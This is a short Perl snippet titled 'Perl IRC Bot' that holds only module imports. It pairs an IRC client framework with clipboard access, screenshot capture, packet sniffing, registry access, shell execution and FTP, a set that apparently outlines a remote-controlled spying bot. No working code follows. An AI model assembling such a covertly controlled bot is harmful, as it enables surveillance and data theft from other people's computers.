Perl IRC Bot use warnings; use POE::Component::IRC; use POE::Kernel; use POE::Session; use POE::Loop::Select; use POE::Resource::Aliases; use POE::Resource::Events; use POE::Resource::Extrefs; use POE::Resource::FileHandles; use POE::Resource::SIDs; use POE::Resource::Sessions; use POE::Resource::Signals; use POE::Wheel; use POE::Wheel::SocketFactory; use POE::Wheel::ReadWrite; use POE::Driver::SysRW; use POE::Filter::Line; use POE::Filter::Stream; use POE::Filter::Stackable; use POE::Component::IRC::Plugin::AutoJoin; use POE::Component::IRC::Plugin::Connector; use Net::DNS::RR::SIG; use Net::DNS::RR::RRSIG; use Net::DNS::SEC::Private; use Win32::FileOp qw(ShellExecute); use Thread; use Win32::Clipboard; use Net::Pcap; use IO::Socket; use Socket; use FileHandle; use Net::FTP; use Imager::Screenshot 'screenshot'; use Win32::Console::ANSI qw/ Title :SW_ /; use Win32::Registry;